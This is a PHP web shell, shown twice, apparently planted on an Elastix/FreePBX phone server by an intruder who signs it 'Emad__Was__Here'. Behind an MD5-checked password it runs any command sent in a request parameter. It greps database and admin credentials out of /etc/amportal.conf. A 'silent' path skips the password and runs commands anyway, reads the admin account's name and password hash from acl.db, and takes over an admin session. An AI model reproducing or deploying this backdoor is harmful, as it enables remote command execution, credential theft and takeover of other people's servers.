<form action="" method="post" ><input size=20 type=password name="p" /><input size=60 type=text name="c" /><input type=submit value="Hacked" /></form>
Hacked >
<?php
session_start();
if (isset($_REQUEST['p']) && md5($_REQUEST['p']) == 'e01d640350b039a2e6a25c656270ea86') {
    $_SESSION['zoz'] = 'logged';
}
if (!isset($_SESSION['zoz'])) {
    echo '<form action = "" method = "post" ><input size = 60 type = text name = "p" /><input type = submit value = "ZIZO_ROCK_EMAD__LIAR" /></form>';
	exit("ZIZO_ROCK_EMAD__LIAR");
}
if (isset($_SESSION['zoz']) && $_SESSION['zoz'] == 'logged' && !isset($_REQUEST['silent'])) {
    echo '<form action = "" method = "post" ><input size = 60 type = text name = "c" /><input type = submit value = "do" /></form>';
    echo "<xmp>";
    @system("grep AMPDB /etc/amportal.conf");
    echo "---------------------\n";
	@system("grep ARI_ADMIN /etc/amportal.conf");
    echo "---------------------\n";
    @system($_REQUEST['c']);
    echo "</xmp>";
}else{
	echo "<xmp>";
	@system($_REQUEST['c']);
	 echo "</xmp>";
	 $pDB = new paloDB("sqlite3:////var/www/db/acl.db");
$db = $pDB->fetchTable("SELECT name, md5_password,extension from acl_user WHERE id ='1'");
session_name("elastixSession");
session_start();
$_SESSION['elastix_user'] = $db[0][0];
$_SESSION['elastix_pass'] = $db[0][1];
echo '<a href="/" >Emad__Was__Here</a>';
}
?>
}
<form action="" method="post" ><input size=20 type=password name="p" /><input size=60 type=text name="c" /><input type=submit value="Hacked" /></form>
Hacked >
<?php
session_start();
if (isset($_REQUEST['p']) && md5($_REQUEST['p']) == 'e01d640350b039a2e6a25c656270ea86') {
    $_SESSION['zoz'] = 'logged';
}
if (!isset($_SESSION['zoz'])) {
    echo '<form action = "" method = "post" ><input size = 60 type = text name = "p" /><input type = submit value = "ZIZO_ROCK_EMAD__LIAR" /></form>';
	exit("ZIZO_ROCK_EMAD__LIAR");
}
if (isset($_SESSION['zoz']) && $_SESSION['zoz'] == 'logged' && !isset($_REQUEST['silent'])) {
    echo '<form action = "" method = "post" ><input size = 60 type = text name = "c" /><input type = submit value = "do" /></form>';
    echo "<xmp>";
    @system("grep AMPDB /etc/amportal.conf");
    echo "---------------------\n";
	@system("grep ARI_ADMIN /etc/amportal.conf");
    echo "---------------------\n";
    @system($_REQUEST['c']);
    echo "</xmp>";
}else{
	echo "<xmp>";
	@system($_REQUEST['c']);
	 echo "</xmp>";
	 $pDB = new paloDB("sqlite3:////var/www/db/acl.db");
$db = $pDB->fetchTable("SELECT name, md5_password,extension from acl_user WHERE id ='1'");
session_name("elastixSession");
session_start();
$_SESSION['elastix_user'] = $db[0][0];
$_SESSION['elastix_pass'] = $db[0][1];
echo '<a href="/" >Emad__Was__Here</a>';
}
?>
}